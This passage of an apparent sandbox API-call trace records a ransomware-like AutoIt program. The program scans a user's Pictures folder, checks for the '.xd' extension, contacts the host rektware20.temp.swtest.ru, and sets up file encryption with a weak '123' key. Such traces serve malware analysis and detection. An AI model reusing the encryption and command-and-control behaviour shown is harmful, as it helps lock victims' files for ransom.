lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.549] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.549] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.549] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.549] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.549] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.549] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.549] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.549] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.549] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c) returned 1 [0062.549] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.549] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.549] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.550] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.550] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.550] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.550] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.564] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.564] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.564] CloseHandle (hObject=0x0) returned 0 [0062.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.564] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.564] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.564] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.564] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.564] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.564] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.564] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.564] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.565] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.565] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.565] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.565] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.565] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.565] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.565] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.566] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.566] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaab0) returned 1 [0062.566] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.566] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.566] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.567] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.567] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.567] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.567] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.567] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.568] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.568] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.568] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.568] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.569] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.569] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.569] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.569] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.569] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.569] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.569] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.569] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.569] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621528, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.569] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.569] CryptCreateHash (in: hProv=0x17aaab0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.569] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.570] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 